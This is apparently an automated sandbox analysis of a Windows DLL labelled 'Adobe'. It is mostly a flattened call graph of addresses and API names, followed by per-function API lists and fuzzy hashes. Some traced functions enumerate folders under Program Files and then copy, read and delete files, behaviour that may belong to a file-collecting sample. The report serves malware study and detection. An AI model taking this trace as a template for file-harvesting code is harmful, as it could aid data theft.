try_get_first_available_module 6646->6651 6647 10003a77 6647->6644 6647->6645 6648 100039ea LoadLibraryExW 6649 10003a05 GetLastError 6648->6649 6648->6651 6649->6651 6650 10003a60 FreeLibrary 6650->6651 6651->6647 6651->6648 6651->6650 6652 10003a38 LoadLibraryExW 6651->6652 6652->6651 6664 100074da 6653->6664 6656 10003529 6657 10003532 6656->6657 6663 10003543 6656->6663 6658 1000391b ___vcrt_uninitialize_ptd 6 API calls 6657->6658 6659 10003537 6658->6659 6668 10003972 6659->6668 6663->6602 6665 100074f3 6664->6665 6666 10002ada _ValidateLocalCookies 5 API calls 6665->6666 6667 10002625 6666->6667 6667->6656 6669 1000353c 6668->6669 6670 1000397d 6668->6670 6672 10003c50 6669->6672 6671 10003987 RtlDeleteCriticalSection 6670->6671 6671->6669 6671->6671 6673 10003c59 6672->6673 6675 10003c7f 6672->6675 6674 10003c69 FreeLibrary 6673->6674 6673->6675 6674->6673 6675->6663 7653 10009bcd 7654 10009bd0 7653->7654 7655 10009bd7 7654->7655 7656 10009bf9 7654->7656 7657 10009ccd 7655->7657 7674 10009645 7655->7674 7662 10009bef 7656->7662 7679 10009492 GetConsoleCP 7656->7679 7660 10006368 _free 20 API calls 7657->7660 7666 10009cc0 7657->7666 7661 10009cf2 7660->7661 7663 10006355 __dosmaperr 20 API calls 7661->7663 7662->7657 7664 10009ca9 7662->7664 7662->7666 7663->7666 7667 10009cb0 7664->7667 7668 10009cc4 7664->7668 7665 10002ada _ValidateLocalCookies 5 API calls 7669 10009d15 7665->7669 7666->7665 7670 10006368 _free 20 API calls 7667->7670 7671 10006332 __dosmaperr 20 API calls 7668->7671 7672 10009cb5 7670->7672 7671->7666 7673 10006355 __dosmaperr 20 API calls 7672->7673 7673->7666 7675 1000969f 7674->7675 7676 1000966a 7674->7676 7675->7662 7676->7675 7677 1000a181 WriteConsoleW CreateFileW 7676->7677 7678 100096a1 GetLastError 7676->7678 7677->7676 7678->7675 7681 100094f5 __fassign 7679->7681 7684 10009607 7679->7684 7680 10002ada _ValidateLocalCookies 5 API calls 7682 10009641 7680->7682 7681->7684 7685 1000957b WideCharToMultiByte 7681->7685 7688 100095d2 WriteFile 7681->7688 7689 10007c19 7681->7689 7682->7662 7684->7680 7685->7684 7686 100095a1 WriteFile 7685->7686 7686->7681 7687 1000962a GetLastError 7686->7687 7687->7684 7688->7681 7688->7687 7690 10005af6 _abort 38 API calls 7689->7690 7691 10007c24 7690->7691 7692 10007a00 38 API calls 7691->7692 7693 10007c34 7692->7693 7693->7681 6676 1000724e GetProcessHeap 6677 1000284f 6678 10002882 std::exception::exception 27 API calls 6677->6678 6679 1000285d 6678->6679 7016 100036d0 7017 100036e2 7016->7017 7019 100036f0 @_EH4_CallFilterFunc@8 7016->7019 7018 10002ada _ValidateLocalCookies 5 API calls 7017->7018 7018->7019 7538 10005351 7539 10005360 7538->7539 7540 10005374 7538->7540 7539->7540 7543 1000571e _free 20 API calls 7539->7543 7541 1000571e _free 20 API calls 7540->7541 7542 10005386 7541->7542 7544 1000571e _free 20 API calls 7542->7544 7543->7540 7545 10005399 7544->7545 7546 1000571e _free 20 API calls 7545->7546 7547 100053aa 7546->7547 7548 1000571e _free 20 API calls 7547->7548 7549 100053bb 7548->7549 7550 10008d52 7551 10008d5f 7550->7551 7553 10008d74 7550->7553 7552 10006355 __dosmaperr 20 API calls 7551->7552 7555 10008d64 7552->7555 7554 10006355 __dosmaperr 20 API calls 7553->7554 7556 10008d99 7553->7556 7557 10008da4 7554->7557 7558 10006368 _free 20 API calls 7555->7558 7560 10006368 _free 20 API calls 7557->7560 7559 10008d6c 7558->7559 7561 10008dac 7560->7561 7562 100062ac _abort 26 API calls 7561->7562 7562->7559 7020 100066d5 7021 100066e1 7020->7021 7022 100066f2 7021->7022 7023 100066eb FindClose 7021->7023 7024 10002ada _ValidateLocalCookies 5 API calls 7022->7024 7023->7022 7025 10006701 7024->7025 7694 100073d5 7695 100073e1 ___scrt_is_nonwritable_in_current_image 7694->7695 7704 10005671 RtlEnterCriticalSection 7695->7704 7697 100073e8 7702 10007406 7697->7702 7705 10007269 GetStartupInfoW 7697->7705 7714 10007422 7702->7714 7703 10007417 _abort 7704->7697 7706 10007318 7705->7706 7707 10007286 7705->7707 7709 1000731f 7706->7709 7707->7706 7708 100072dd GetFileType 7707->7708 7708->7707 7710 10007326 7709->7710 7711 10007369 GetStdHandle 7710->7711 7712 100073d1 7710->7712 7713 1000737c GetFileType 7710->7713 7711->7710 7712->7702 7713->7710 7717 100056b9 RtlLeaveCriticalSection 7714->7717 7716 10007429 7716->7703 7717->7716 7026 10004ed7 7027 10006d60 51 API calls 7026->7027 7028 10004ee9 7027->7028 7037 10007153 GetEnvironmentStringsW 7028->7037 7031 10004ef4 7033 1000571e _free 20 API calls 7031->7033 7034 10004f29 7033->7034 7035 10004eff 7036 1000571e _free 20 API calls 7035->7036 7036->7031 7038 1000716a 7037->7038 7048 100071bd 7037->7048 7041 10007170 WideCharToMultiByte 7038->7041 7039 100071c6 FreeEnvironmentStringsW 7040 10004eee 7039->7040 7040->7031 7049 10004f2f 7040->7049 7042 1000718c 7041->7042 7041->7048 7043 100056d0 21 API calls 7042->7043 7044 10007192 7043->7044 7045 100071af 7044->7045 7046 10007199 WideCharToMultiByte 7044->7046 7047 1000571e _free 20 API calls 7045->7047 7046->7045 7047->7048 7048->7039 7048->7040 7050 10004f44 7049->7050 7051 1000637b _free 20 API calls 7050->7051 7056 10004f6b 7051->7056 7052 1000571e _free 20 API calls 7054 10004fe9 7052->7054 7053 10004fcf 7053->7052 7054->7035 7055 1000637b _free 20 API calls 7055->7056 7056->7053 7056->7055 7057 10004fd1 7056->7057 7058 1000544d ___std_exception_copy 26 API calls 7056->7058 7061 10004ff3 7056->7061 7064 1000571e _free 20 API calls 7056->7064 7059 10005000 20 API calls 7057->7059 7058->7056 7060 10004fd7 7059->7060 7062 1000571e _free 20 API calls 7060->7062 7063 100062bc _abort 11 API calls 7061->7063 7062->7053 7065 10004fff 7063->7065 7064->7056 6680 1000ae59 6681 1000ae5f 6680->6681 6686 10008cc1 6681->6686 6684 1000aedd 6685 10006332 __dosmaperr 20 API calls 6685->6684 6687 10008d37 6686->6687 6690 10008cd0 6686->6690 6688 10006368 _free 20 API calls 6687->6688 6689 10008d3c 6688->6689 6691 10006355 __dosmaperr 20 API calls 6689->6691 6690->6687 6694 10008cfa 6690->6694 6692 10008d27 6691->6692 6692->6684 6692->6685 6693 10008d21 SetStdHandle 6693->6692 6694->6692 6694->6693 5842 10001c5b 5843 10001c6b ___scrt_fastfail 5842->5843 5846 100012ee 5843->5846 5845 10001c87 5847 10001324 ___scrt_fastfail 5846->5847 5848 100013b7 GetEnvironmentVariableW 5847->5848 5872 100010f1 5848->5872 5851 100010f1 57 API calls 5852 10001465 5851->5852 5853 100010f1 57 API calls 5852->5853 5854 10001479 5853->5854 5855 100010f1 57 API calls 5854->5855 5856 1000148d 5855->5856 5857 100010f1 57 API calls 5856->5857 5858 100014a1 5857->5858 5859 100010f1 57 API calls 5858->5859 5860 100014b5 lstrlenW 5859->5860 5861 100014d2 5860->5861 5862 100014d9 lstrlenW 5860->5862 5861->5845 5863 100010f1 57 API calls 5862->5863 5864 10001501 lstrlenW lstrcatW 5863->5864 5865 100010f1 57 API calls 5864->5865 5866 10001539 lstrlenW lstrcatW 5865->5866 5867 100010f1 57 API calls 5866->5867 5868 1000156b lstrlenW lstrcatW 5867->5868 5869 100010f1 57 API calls 5868->5869 5870 1000159d lstrlenW lstrcatW 5869->5870 5871 100010f1 57 API calls 5870->5871 5871->5861 5873 10001118 ___scrt_fastfail 5872->5873 5874 10001129 lstrlenW 5873->5874 5885 10002c40 5874->5885 5877 10001177 lstrlenW FindFirstFileW 5879 100011a0 5877->5879 5880 100011e1 5877->5880 5878 10001168 lstrlenW 5878->5877 5881 100011c7 FindNextFileW 5879->5881 5882 100011aa 5879->5882 5880->5851 5881->5879 5884 100011da FindClose 5881->5884 5882->5881 5887 10001000 5882->5887 5884->5880 5886 10001148 lstrcatW lstrlenW 5885->5886 5886->5877 5886->5878 5888 10001022 ___scrt_fastfail 5887->5888 5889 100010af 5888->5889 5890 1000102f lstrcatW lstrlenW 5888->5890 5893 100010b5 lstrlenW 5889->5893 5903 100010ad 5889->5903 5891 1000105a lstrlenW 5890->5891 5892 1000106b lstrlenW 5890->5892 5891->5892 5904 10001e89 lstrlenW 5892->5904 5918 10001e16 5893->5918 5896 10001088 GetFileAttributesW 5899 1000109c 5896->5899 5896->5903 5897 100010ca 5898 10001e89 5 API calls 5897->5898 5897->5903 5900 100010df 5898->5900 5899->5903 5910 1000173a 5899->5910 5923 100011ea 5900->5923 5903->5882 5905 10002c40 ___scrt_fastfail 5904->5905 5906 10001ea7 lstrcatW lstrlenW 5905->5906 5907 10001ed1 lstrcatW 5906->5907 5908 10001ec2 5906->5908 5907->5896 5908->5907 5909 10001ec7 lstrlenW 5908->5909 5909->5907 5911 10001747 ___scrt_fastfail 5910->5911 5938 10001cca 5911->5938 5915 1000199f 5915->5903 5916 10001824 ___scrt_fastfail _strlen 5916->5915 5958 100015da 5916->5958 5919 10001e29 5918->5919 5921 10001e4c 5918->5921 5920 10001e2d lstrlenW 5919->5920 5919->5921 5920->5921 5922 10001e3f lstrlenW 5920->5922 5921->5897 5922->5921 5924 1000120e ___scrt_fastfail 5923->5924 5925 10001e89 5 API calls 5924->5925 5926 10001220 GetFileAttributesW 5925->5926 5927 10001235 5926->5927 5928 10001246 5926->5928 5927->5928 5930 1000173a 35 API calls 5927->5930 5929 10001e89 5 API calls 5928->5929 5931 10001258 5929->5931 5930->5928 5932 100010f1 56 API calls 5931->5932 5933 1000126d 5932->5933 5934 10001e89 5 API calls 5933->5934 5935 1000127f ___scrt_fastfail 5934->5935 5936 100010f1 56 API calls 5935->5936 5937 100012e6 5936->5937 5937->5903 5939 10001cf1 ___scrt_fastfail 5938->5939 5940 10001d0f CopyFileW CreateFileW 5939->5940 5941 10001d44 DeleteFileW 5940->5941 5942 10001d55 GetFileSize 5940->5942 5947 10001808 5941->5947 5943 10001ede 22 API calls 5942->5943 5944 10001d66 ReadFile 5943->5944 5945 10001d94 CloseHandle DeleteFileW 5944->5945 5946 10001d7d CloseHandle DeleteFileW 5944->5946 5945->5947 5946->5947 5947->5915 5948 10001ede 5947->5948 5949 1000222f 5948->5949 5951 1000224e 5949->5951 5954 10002250 5949->5954 5966 1000474f 5949->5966 5971 100047e5 5949->5971 5951->5916 5953 10002908 5955 100035d2 __CxxThrowException@8 RaiseException 5953->5955 5954->5953 5978 100035d2 5954->5978 5957 10002925 5955->5957 5957->5916 5959 1000160c _strcat _strlen 5958->5959 5960 1000163c lstrlenW 5959->5960 6066 10001c9d 5960->6066 5962 10001655 lstrcatW lstrlenW 5963 10001678 5962->5963 5964 1000167e lstrcatW 5963->5964 5965 10001693 ___scrt_fastfail 5963->5965 5964->5965 5965->5916 5981 10004793 5966->5981 5969 1000478f 5969->5949 5970 10004765 5987 10002ada 5970->5987 5976 100056d0 _free 5971->5976 5972 1000570e 6000 10006368 5972->6000 5974 100056f9 RtlAllocateHeap 5975 1000570c 5974->5975 5974->5976 5975->5949 5976->5972 5976->5974 5977 1000474f _free 7 API calls 5976->5977 5977->5976 5980 100035f2 RaiseException 5978->5980 5980->5953 5982 1000479f ___scrt_is_nonwritable_in_current_image 5981->5982 5994 10005671 RtlEnterCriticalSection 5982->5994 5984 100047aa 5995 100047dc 5984->5995 5986 100047d1 _abort 5986->5970 5988 10002ae3 5987->5988 5989 10002ae5 IsProcessorFeaturePresent 5987->5989 5988->5969 5991 10002b58 5989->5991 5999 10002b1c SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 5991->5999 5993 10002c3b 5993->5969 5994->5984 5998 100056b9 RtlLeaveCriticalSection 5995->5998 5997 100047e3 5997->5986 5998->5997 5999->5993 6003 10005b7a GetLastError 6000->6003 6004 10005b93 6003->6004 6005 10005b99 6003->6005 6022 10005e08 6004->6022 6009 10005bf0 SetLastError 6005->6009 6029 1000637b 6005->6029 6011 10005bf9 6009->6011 6010 10005bb3 6036 1000571e 6010->6036 6011->5975 6015 10005bb9 6018 10005be7 SetLastError 6015->6018 6016 10005bcf 6049 1000593c 6016->6049 6018->6011 6020 1000571e _free 17 API calls 6021 10005be0 6020->6021 6021->6009 6021->6018 6054 10005c45 6022->6054 6024 10005e2f 6025 10005e47 TlsGetValue 6024->6025 6026 10005e3b 6024->6026 6025->6026 6027 10002ada _ValidateLocalCookies 5 API calls 6026->6027 6028 10005e58 6027->6028 6028->6005 6034 10006388 _free 6029->6034 6030 100063c8 6033 10006368 _free 19 API calls 6030->6033 6031 100063b3 RtlAllocateHeap 6032 10005bab 6031->6032 6031->6034 6032->6010 6042 10005e5e 6032->6042 6033->6032 6034->6030 6034->6031 6035 1000474f _free 7 API calls 6034->6035 6035->6034 6037 10005729 HeapFree 6036->6037 6041 10005752 _free 6036->6041 6038 1000573e 6037->6038 6037->6041 6039 10006368 _free 18 API calls 6038->6039 6040 10005744 GetLastError 6039->6040 6040->6041 6041->6015 6043 10005c45 _free 5 API calls 6042->6043 6044 10005e85 6043->6044 6045 10005ea0 TlsSetValue 6044->6045 6048 10005e94 6044->6048 6045->6048 6046 10002ada _ValidateLocalCookies 5 API calls 6047 10005bc8 6046->6047 6047->6010 6047->6016 6048->6046 6060 10005914 6049->6060 6055 10005c71 6054->6055 6056 10005c75 __crt_fast_encode_pointer 6054->6056 6055->6056 6057 10005ce1 _free LoadLibraryExW GetLastError LoadLibraryExW FreeLibrary 6055->6057 6059 10005c95 6055->6059 6056->6024 6057->6055 6058 10005ca1 GetProcAddress 6058->6056 6059->6056 6059->6058 6061 10005854 _free RtlEnterCriticalSection RtlLeaveCriticalSection 6060->6061 6062 10005938 6061->6062 6063 100058c4 6062->6063 6064 10005758 _free 20 API calls 6063->6064 6065 100058e8 6064->6065 6065->6020 6067 10001ca6 _strlen 6066->6067 6067->5962 7066 100020db 7068 100020e7 ___scrt_is_nonwritable_in_current_image 7066->7068 7067 10002110 dllmain_raw 7069 1000212a 7067->7069 7077 100020f6 7067->7077 7068->7067 7073 1000210b 7068->7073 7068->7077 7079 10001eec 7069->7079 7071 10002177 7072 10001eec 31 API calls 7071->7072 7071->7077 7074 1000218a 7072->7074 7073->7071 7076 10001eec 31 API calls 7073->7076 7073->7077 7075 10002193 dllmain_raw 7074->7075 7074->7077 7075->7077 7078 1000216d dllmain_raw 7076->7078 7078->7071 7080 10001ef7 7079->7080 7081 10001f2a dllmain_crt_process_detach 7079->7081 7082 10001f1c dllmain_crt_process_attach 7080->7082 7083 10001efc 7080->7083 7088 10001f06 7081->7088 7082->7088 7084 10001f12 7083->7084 7086 10001f01 7083->7086 7094 100023ec 7084->7094 7086->7088 7089 1000240b 7086->7089 7088->7073 7102 100053e5 7089->7102 7200 10003513 7094->7200 7097 100023f5 7097->7088 7100 10002408 7100->7088 7101 1000351e 7 API calls 7101->7097 7108 10005aca 7102->7108 7105 1000351e 7184 10003820 7105->7184 7107 10002415 7107->7088 7109 10005ad4 7108->7109 7110 10002410 7108->7110 7111 10005e08 _free 11 API calls 7109->7111 7110->7105 7112 10005adb 7111->7112 7112->7110 7113 10005e5e _free 11 API calls 7112->7113 7114 10005aee 7113->7114 7116 100059b5 7114->7116 7117 100059c0 7116->7117 7121 100059d0 7116->7121 7122 100059d6 7117->7122 7120 1000571e _free 20 API calls 7120->7121 7121->7110 7123 100059e9 7122->7123 7126 100059ef 7122->7126 7124 1000571e _free 20 API calls 7123->7124 7124->7126 7125 1000571e _free 20 API calls 7127 100059fb 7125->7127 7126->7125 7128 1000571e _free 20 API calls 7127->7128 7129 10005a06 7128->7129 7130 1000571e _free 20 API calls 7129->7130 7131 10005a11 7130->7131 7132 1000571e _free 20 API calls 7131->7132 7133 10005a1c 7132->7133 7134 1000571e _free 20 API calls 7133->7134 7135 10005a27 7134->7135 7136 1000571e _free 20 API calls 7135->7136 7137 10005a32 7136->7137 7138 1000571e _free 20 API calls 7137->7138 7139 10005a3d 7138->7139 7140 1000571e _free 20 API calls 7139->7140 7141 10005a48 7140->7141 7142 1000571e _free 20 API calls 7141->7142 7143 10005a56 7142->7143 7148 1000589c 7143->7148 7154 100057a8 7148->7154 7150 100058c0 7151 100058ec 7150->7151 7167 10005809 7151->7167 7153 10005910 7153->7120 7155 100057b4 ___scrt_is_nonwritable_in_current_image 7154->7155 7162 10005671 RtlEnterCriticalSection 7155->7162 7157 100057be 7158 100057e8 7157->7158 7161 1000571e _free 20 API calls 7157->7161 7163 100057fd 7158->7163 7160 100057f5 _abort 7160->7150 7161->7158 7162->7157 7166 100056b9 RtlLeaveCriticalSection 7163->7166 7165 10005807 7165->7160 7166->7165 7168 10005815 ___scrt_is_nonwritable_in_current_image 7167->7168 7175 10005671 RtlEnterCriticalSection 7168->7175 7170 1000581f 7176 10005a7f 7170->7176 7172 10005832 7180 10005848 7172->7180 7174 10005840 _abort 7174->7153 7175->7170 7177 10005ab5 _free 7176->7177 7178 10005a8e _free 7176->7178 7177->7172 7178->7177 7179 10007cc2 _free 20 API calls 7178->7179 7179->7177 7183 100056b9 RtlLeaveCriticalSection 7180->7183 7182 10005852 7182->7174 7183->7182 7185 1000382d 7184->7185 7189 1000384b ___vcrt_freefls@4 7184->7189 7186 1000383b 7185->7186 7190 10003b67 7185->7190 7195 10003ba2 7186->7195 7189->7107 7191 10003a82 try_get_function 5 API calls 7190->7191 7192 10003b81 7191->7192 7193 10003b99 TlsGetValue 7192->7193 7194 10003b8d 7192->7194 7193->7194 7194->7186 7196 10003a82 try_get_function 5 API calls 7195->7196 7197 10003bbc 7196->7197 7198 10003bd7 TlsSetValue 7197->7198 7199 10003bcb 7197->7199 7198->7199 7199->7189 7206 10003856 7200->7206 7202 100023f1 7202->7097 7203 100053da 7202->7203 7204 10005b7a _free 20 API calls 7203->7204 7205 100023fd 7204->7205 7205->7100 7205->7101 7207 10003862 GetLastError 7206->7207 7208 1000385f 7206->7208 7209 10003b67 ___vcrt_FlsGetValue 6 API calls 7207->7209 7208->7202 7210 10003877 7209->7210 7211 100038dc SetLastError 7210->7211 7212 10003ba2 ___vcrt_FlsSetValue 6 API calls 7210->7212 7217 10003896 7210->7217 7211->7202 7213 10003890 7212->7213 7214 100038b8 7213->7214 7215 10003ba2 ___vcrt_FlsSetValue 6 API calls 7213->7215 7213->7217 7216 10003ba2 ___vcrt_FlsSetValue 6 API calls 7214->7216 7214->7217 7215->7214 7216->7217 7217->7211 7718 10004bdd 7719 10004c08 7718->7719 7720 10004bec 7718->7720 7721 10006d60 51 API calls 7719->7721 7720->7719 7722 10004bf2 7720->7722 7723 10004c0f GetModuleFileNameA 7721->7723 7724 10006368 _free 20 API calls 7722->7724 7725 10004c33 7723->7725 7726 10004bf7 7724->7726 7741 10004d01 7725->7741 7727 100062ac _abort 26 API calls 7726->7727 7729 10004c01 7727->7729 7733 10004c72 7736 10004d01 38 API calls 7733->7736 7734 10004c66 7735 10006368 _free 20 API calls 7734->7735 7740 10004c6b 7735->7740 7737 10004c88 7736->7737 7739 1000571e _free 20 API calls 7737->7739 7737->7740 7738 1000571e _free 20 API calls 7738->7729 7739->7740 7740->7738 7743 10004d26 7741->7743 7745 10004d86 7743->7745 7753 100070eb 7743->7753 7744 10004c50 7747 10004e76 7744->7747 7745->7744 7746 100070eb 38 API calls 7745->7746 7746->7745 7748 10004e8b 7747->7748 7749 10004c5d 7747->7749 7748->7749 7750 1000637b _free 20 API calls 7748->7750 7749->7733 7749->7734 7751 10004eb9 7750->7751 7752 1000571e _free 20 API calls 7751->7752 7752->7749 7756 10007092 7753->7756 7757 100054a7 38 API calls 7756->7757 7758 100070a6 7757->7758 7758->7743 6695 10007260 GetStartupInfoW 6696 10007318 6695->6696 6697 10007286 6695->6697 6697->6696 6698 100072dd GetFileType 6697->6698 6698->6697 7759 1000a1e0 7762 1000a1fe 7759->7762 7761 1000a1f6 7764 1000a203 7762->7764 7763 1000aa53 21 API calls 7765 1000a42f 7763->7765 7764->7763 7766 1000a298 7764->7766 7765->7761 7766->7761 7563 10009d61 7564 10009d81 7563->7564 7567 10009db8 7564->7567 7566 10009dab 7568 10009dbf 7567->7568 7569 10009e20 7568->7569 7573 10009ddf 7568->7573 7570 1000aa17 21 API calls 7569->7570 7571 1000a90e 7569->7571 7572 10009e6e 7570->7572 7571->7566 7572->7566 7573->7571 7574 1000aa17 21 API calls 7573->7574 7575 1000a93e 7574->7575 7575->7566 7576 10006761 7577 100066e6 7576->7577 7578 1000677f 7576->7578 7580 100066f2 7577->7580 7581 100066eb FindClose 7577->7581 7584 100081a0 7578->7584 7582 10002ada _ValidateLocalCookies 5 API calls 7580->7582 7581->7580 7583 10006701 7582->7583 7585 100081d9 7584->7585 7586 100081dd 7585->7586 7597 10008205 7585->7597 7587 10006368 _free 20 API calls 7586->7587 7589 100081e2 7587->7589 7588 10008529 7590 10002ada _ValidateLocalCookies 5 API calls 7588->7590 7591 100062ac _abort 26 API calls 7589->7591 7592 10008536 7590->7592 7593 100081ed 7591->7593 7592->7577 7594 10002ada _ValidateLocalCookies 5 API calls 7593->7594 7595 100081f9 7594->7595 7595->7577 7597->7588 7598 100080c0 7597->7598 7601 100080db 7598->7601 7599 10002ada _ValidateLocalCookies 5 API calls 7600 10008152 7599->7600 7600->7597 7601->7599 6699 10006664 6700 10006675 6699->6700 6701 10002ada _ValidateLocalCookies 5 API calls 6700->6701 6702 10006701 6701->6702 6703 1000ac6b 6704 1000ac84 __startOneArgErrorHandling 6703->6704 6705 1000acad __startOneArgErrorHandling 6704->6705 6707 1000b2f0 6704->6707 6708 1000b329 __startOneArgErrorHandling 6707->6708 6709 1000b350 __startOneArgErrorHandling 6708->6709 6718 1000b5c1 6708->6718 6711 1000b393 6709->6711 6712 1000b36e 6709->6712 6731 1000b8b2 6711->6731 6722 1000b8e1 6712->6722 6715 1000b38e __startOneArgErrorHandling 6716 10002ada _ValidateLocalCookies 5 API calls 6715->6716 6717 1000b3b7 6716->6717 6717->6705 6719 1000b5ec __raise_exc 6718->6719 6720 1000b7e5 RaiseException 6719->6720 6721 1000b7fd 6720->6721 6721->6709 6723 1000b8f0 6722->6723 6724 1000b964 __startOneArgErrorHandling 6723->6724 6725 1000b90f __startOneArgErrorHandling 6723->6725 6727 1000b8b2 __startOneArgErrorHandling 20 API calls 6724->6727 6738 100078a3 6725->6738 6730 1000b95d 6727->6730 6729 1000b8b2 __startOneArgErrorHandling 20 API calls 6729->6730 6730->6715 6732 1000b8d4 6731->6732 6733 1000b8bf 6731->6733 6734 10006368 _free 20 API calls 6732->6734 6735 10006368 _free 20 API calls 6733->6735 6736 1000b8d9 6733->6736 6734->6736 6737 1000b8cc 6735->6737 6736->6715 6737->6715 6741 100078cb 6738->6741 6739 10002ada _ValidateLocalCookies 5 API calls 6740 100078e8 6739->6740 6740->6729 6740->6730 6741->6739 7767 100085eb 7770 1000853a 7767->7770 7768 1000854f 7769 10008554 7768->7769 7771 10006368 _free 20 API calls 7768->7771 7770->7768 7770->7769 7774 1000858b 7770->7774 7772 1000857a 7771->7772 7773 100062ac _abort 26 API calls 7772->7773 7773->7769 7774->7769 7775 10006368 _free 20 API calls 7774->7775 7775->7772 7776 100065ec 7781 100067bf 7776->7781 7779 1000571e _free 20 API calls 7780 100065ff 7779->7780 7786 100067f4 7781->7786 7783 100065f6 7783->7779 7785 1000571e _free 20 API calls 7785->7783 7787 100067cd 7786->7787 7788 10006806 7786->7788 7787->7783 7787->7785 7789 10006836 7788->7789 7790 1000680b 7788->7790 7789->7787 7797 100071d6 7789->7797 7791 1000637b _free 20 API calls 7790->7791 7793 10006814 7791->7793 7794 1000571e _free 20 API calls 7793->7794 7794->7787 7795 10006851 7796 1000571e _free 20 API calls 7795->7796 7796->7787 7798 100071e1 7797->7798 7799 10007209 7798->7799 7800 100071fa 7798->7800 7802 10007218 7799->7802 7806 10008a98 7799->7806 7803 10006368 _free 20 API calls 7800->7803 7813 10008acb 7802->7813 7805 100071ff ___scrt_fastfail 7803->7805 7805->7795 7807 10008aa3 7806->7807 7808 10008ab8 RtlSizeHeap 7806->7808 7809 10006368 _free 20 API calls 7807->7809 7808->7802 7810 10008aa8 7809->7810 7811 100062ac _abort 26 API calls 7810->7811 7812 10008ab3 7811->7812 7812->7802 7814 10008ae3 7813->7814 7815 10008ad8 7813->7815 7817 10008aeb 7814->7817 7823 10008af4 _free 7814->7823 7816 100056d0 21 API calls 7815->7816 7821 10008ae0 7816->7821 7818 1000571e _free 20 API calls 7817->7818 7818->7821 7819 10008af9 7822 10006368 _free 20 API calls 7819->7822 7820 10008b1e RtlReAllocateHeap 7820->7821 7820->7823 7821->7805 7822->7821 7823->7819 7823->7820 7824 1000474f _free 7 API calls 7823->7824 7824->7823 6742 10008c6e 6745 100056b9 RtlLeaveCriticalSection 6742->6745 6744 10008c79 6745->6744 6746 1000506f 6747 10005081 6746->6747 6748 10005087 6746->6748 6750 10005000 6747->6750 6751 1000502a 6750->6751 6752 1000500d 6750->6752 6751->6748 6753 10005024 6752->6753 6754 1000571e _free 20 API calls 6752->6754 6755 1000571e _free 20 API calls 6753->6755 6754->6752 6755->6751 7602 10003370 7613 10003330 7602->7613 7614 10003342 7613->7614 7615 1000334f 7613->7615 7616 10002ada _ValidateLocalCookies 5 API calls 7614->7616 7616->7615 6756 10009e71 6757 10009e95 6756->6757 6758 10009f71 __startOneArgErrorHandling 6757->6758 6760 10009ee6 6757->6760 6762 1000b2f0 21 API calls 6758->6762 6763 1000acad __startOneArgErrorHandling 6758->6763 6759 10009ef8 6760->6759 6764 1000aa53 6760->6764 6762->6763 6765 1000aa70 RtlDecodePointer 6764->6765 6767 1000aa80 6764->6767 6765->6767 6766 10002ada _ValidateLocalCookies 5 API calls 6769 1000ac67 6766->6769 6768 1000ab0d 6767->6768 6770 1000ab02 6767->6770 6772 1000aab7 6767->6772 6768->6770 6771 10006368 _free 20 API calls 6768->6771 6769->6759 6770->6766 6771->6770 6772->6770 6773 10006368 _free 20 API calls 6772->6773 6773->6770 6774 10008c72 6775 10008c79 6774->6775 6777 100056b9 RtlLeaveCriticalSection 6774->6777 6777->6775 7829 10005bff 7837 10005d5c 7829->7837 7832 10005c13 7833 10005b7a _free 20 API calls 7834 10005c1b 7833->7834 7835 10005c28 7834->7835 7836 10005c2b 11 API calls 7834->7836 7836->7832 7838 10005c45 _free 5 API calls 7837->7838 7839 10005d83 7838->7839 7840 10005d9b TlsAlloc 7839->7840 7841 10005d8c 7839->7841 7840->7841 7842 10002ada _ValidateLocalCookies 5 API calls 7841->7842 7843 10005c09 7842->7843 7843->7832 7843->7833

                                                                                                                              Executed Functions

                                                                                                                              Function 100010F1 Relevance: 12.1, APIs: 8, Instructions: 88stringfileCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                              • lstrlenW.KERNEL32(?,?,?,?,00000002,00000000), ref: 10001137
                                                                                                                              • lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001151
                                                                                                                              • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000115C
                                                                                                                              • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000116D
                                                                                                                              • lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000117C
                                                                                                                              • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001193
                                                                                                                              • FindNextFileW.KERNELBASE(00000000,00000010), ref: 100011D0
                                                                                                                              • FindClose.KERNEL32(00000000), ref: 100011DB
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: lstrlen$Find$File$CloseFirstNextlstrcat
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1083526818-0
                                                                                                                              • Opcode ID: 27fd7685666e3c989c46effb07117df397b19369cc2c037b590c32d569d2463a
                                                                                                                              • Instruction ID: 89aa6ca17049c9a574106098fd68ded4b08ae6dd255c3979a52dcbc6bb9ed716
                                                                                                                              • Opcode Fuzzy Hash: 27fd7685666e3c989c46effb07117df397b19369cc2c037b590c32d569d2463a
                                                                                                                              • Instruction Fuzzy Hash: D22193715043586BE714EB649C49FDF7BDCEF84394F00092AFA58D3190E770D64487A6
                                                                                                                              Function 100012EE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 243stringCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                              • GetEnvironmentVariableW.KERNEL32(ProgramFiles,?,00000104), ref: 10001434
                                                                                                                                • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,00000002,00000000), ref: 10001137
                                                                                                                                • Part of subcall function 100010F1: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001151
                                                                                                                                • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000115C
